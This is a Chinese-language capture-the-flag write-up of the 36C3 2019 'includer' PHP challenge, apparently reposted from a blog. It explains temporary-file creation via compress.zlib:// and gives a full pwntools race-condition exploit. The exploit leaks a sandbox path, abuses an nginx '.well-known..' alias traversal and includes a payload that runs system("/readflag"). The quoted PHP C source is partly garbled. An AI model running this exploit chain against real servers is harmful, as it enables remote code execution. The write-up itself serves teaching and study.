[36c3 2019]includer

[36c3 2019]includer

题目描述:Just sitting here and waiting for PHP 8.0 (lolphp).

首先来了解一下临时文件包含之PHP - compress.zlib://

php-src 里可以找到和 compress.zlib:// 有关的代码 | code

image-20230313141706354

注意到 STREAM_WILL_CAST,涉及到 cast 经常会有一些安全隐患(溢出,报错等);main/php_streams.h看一下这个宏的具体含义 | code

image-20230313142020053

很明显,这是一个用来将stream转换成FILE*的标志位,在这里就与我们创建临时文件有关了。

如果传入这个 flag 那将不会启用缓冲机制来读取 headers,即 默认情况下开始缓冲机制

该函数调用了php_stream_make_seekable_rel,并向其中传入了STREAM_WILL_CAST参数,我们跟进php_stream_make_seekable_rel函数,它在main/php_streams.h中被define为_php_stream_make_seekable | code

image-20230313143718213

涉及到_php_stream_make_seekable 函数 | code

image-20230313144406452

其实整个过程很顺,因为最初的 STREAM_WILL_CAST 就是默认选项,所以不需要我们在流传输中再加干涉就可以生成临时文件

main/streams/cast.c

/* {
    
    {
    
    { php_stream_make_seekable */
PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
{
    
    
trueif (newstream == NULL) {
    
    
truetruereturn PHP_STREAM_FAILED;
true}
true*newstream = NULL;

trueif (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {
    
    
truetrue*newstream = origstream;
truetruereturn PHP_STREAM_UNCHANGED;
true}

true/* Use a tmpfile and copy the old streams contents into it */

trueif (flags & PHP_STREAM_PREFER_STDIO) {
    
    
truetrue*newstream = php_stream_fopen_tmpfile();
true} else {
    
    
truetrue*newstream = php_stream_temp_new();
true}
true//...
}
/* }}} */

我们可以看到如果flagsPHP_STREAM_PREFER_STDIO都被设置的话,而PHP_STREAM_PREFER_STDIOmain/php_streams.h中已经被define。

#define PHP_STREAM_PREFER_STDIO	

我们只需要关心flags的值就好了,我们只需要确定flags的值非零即可,根据前面的跟进我们易知flags的在这里非零,所以这里就调用了php_stream_fopen_tmpfile函数创建了临时文件。

**利用前提:**目标服务器开启 allow_url_fopen, allow_url_include

最简单的示例代码

<?php
putenv("TMPDIR=/var/www/html/files");	// 设置生成缓存文件的目录
file_get_contents("compress.zlib://https://www.baidu.com");
cd /var/www/html
chattr -R +a files	# 禁止临时文件删除
fswatch files		# 监视文件变动
cd files & cat *

可以看到临时文件中就是 baidu 的首页内容

因此我们可以使用这样的思路,用 compress.zlib://evil_url 来传 evil_code,可以用 pwntools 库来控制具体传输的内容;同时因为程序运行结束临时文件会被自动删除,我们可以写入大量垃圾内容 或用 compress.zlib://ftp:// 来控制传输速率来保持连接。


源代码如下:

<?php
declare(strict_types=1);

$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";

try {
    
    
    if (stripos(file_get_contents($_POST['file']), '<?') === false) {
    
    
        include_once($_POST['file']);
    }
}
finally {
    
    
    system('rm -rf '.escapeshellarg($rand_dir));
}

我们的思路是 先利用 compress.zlib://http://xxxxxx 上传含 evil code 的大文件以此来生成临时文件,然后再让其被包含执行 最终 getflag。

临时文件终究还是会被php删除掉的,如果我们要进行包含的话,就需要利用一些方法让临时文件尽可能久的留在服务器上,这样我们才有机会去包含它。

  • 使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。
  • 使用FTP速度控制,大文件传输基本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用compress.zlib://ftp://形式,控制FTP速度即可

同时题目中多了不少限制,首先是 $rand_dir 让我们不知道缓存文件的绝对路径 这会影响到后面的 命令执行;错误的配置文件可以解决这一问题。

配置文件有一个比较明显的配置错误: 开启了列目录并且我们可以遍历到上层文件夹。但每次执行后文件名都是随机的。

location /.well-known {
  autoindex on;
  alias /var/www/html/well-known/;
}

然我们可以直接看到题目是直接给出了路径,但是乍一看代码我们貌似只能等到全部函数结束之后才能拿到路径,然而之前我们说到的需要保留的长链接不能让我们立即得到我们的sandbox路径。

所以我们需要通过传入过大的name参数,导致PHP output buffer溢出,在保持连接的情况下获取沙箱路径,参考代码:

    data = '''file=compress.zlib://http://192.168.151.132:8080&name='''.strip() + 'a' * (1024 * 7 + 882)
    r.send('''POST / HTTP/1.1\r
Host: localhost\r
Connection: close\r
Content-Length: {}\r
Content-Type: application/x-www-form-urlencoded\r
Cookie: PHPSESSID=asdasdasd\r
\r
{}\r
'''.format(len(data), data))

其次需要满足的条件是 stripos(file_get_contents($_POST['file']), '<?') === false,也就是传输的内容中不能包含 <?,这对 php 来说简直是致命打击。

对于这一问题 标答是 条件竞争,利用 file_get_contentsinclude_once 执行过程中微弱的时间窗口来绕过,即:先发送垃圾数据,通过 if 判断后再传 恶意代码。

所以整个流程我们可以总结为以下:

1.利用compress.zlib://http://或者compress.zlib://ftp://来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件

2.利用超长的 name 溢出 output buffer 得到 sandbox 路径

3.利用 Nginx 配置错误,通过.well-known../files/sandbox/来获取我们 tmp 文件的文件名

4.发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码

5.绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag

整个题目的关键点主要是以下几点:

  • 要利用大文件或ftp速度限制让连接保持

  • 传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径

  • tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行

  • .well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件

由于第二个极短的时间窗,我们需要比较准确地调控延迟时间,之前没调控好时间以及文件大小,挂一晚上脚本都没有 hit 中一次,第二天经过 @rebirth 的深刻指点,修改了一下延迟时间以及服务器响应的文件的大小,成功率得到了很大的提高,基本每次都可以 getflag

攻击脚本如下:

from pwn import *
import requests
import re
import threading
import time


for gg in range(100):

    r = remote("192.168.34.1", 8004)
    l = listen(8080)

    data = '''name={}&file=compress.zlib://http://192.168.151.132:8080'''.format("a"*8050)

    payload = '''POST / HTTP/1.1
Host: 192.168.34.1:8004
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Length: {}
Content-Type: application/x-www-form-urlencoded
Connection: close
Cookie: PHPSESSID=asdasdasd
Upgrade-Insecure-Requests: 1
{}'''.format(len(data), data).replace("\n","\r\n")


    r.send(payload)
    try:
        r.recvuntil('your sandbox: ')
    except EOFError:
        print("[ERROR]: EOFERROR")
        # l.close()
        r.close()
        continue
    # dirname = r.recv(70)
    dirname = r.recvuntil('\n', drop=True) + '/'

    print("[DEBUG]:" + dirname)

    # send trash
    c = l.wait_for_connection()
    resp = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
{}'''.format('A'* 5000000).replace("\n","\r\n")
    c.send(resp)


    # get filename
    r2 = requests.get("http://192.168.34.1:8004/.well-known../"+ dirname + "/")
    try:
        tmpname = "php" + re.findall(">php(.*)<\/a",r2.text)[0]
        print("[DEBUG]:" + tmpname)
    except IndexError:
        l.close()
        r.close()
        print("[ERROR]: IndexErorr")
        continue
    def job():
        time.sleep(0.01)
        phpcode = 'wtf<?php system("/readflag");?>';
        c.send(phpcode)

    t = threading.Thread(target = job)
    t.start()

    # file_get_contents and include tmp file
    exp_file = dirname + "/" + tmpname
    print("[DEBUG]:"+exp_file)
    r3 = requests.post("http://192.168.34.1:8004/", data={
    
    'file':exp_file})
    print(r3.status_code,r3.text)
    if "wtf" in r3.text:
        break

    t.join()
    r.close()
    l.close()
    #r.interactive()

猜你喜欢

转载自blog.csdn.net/Jayjay___/article/details/133253974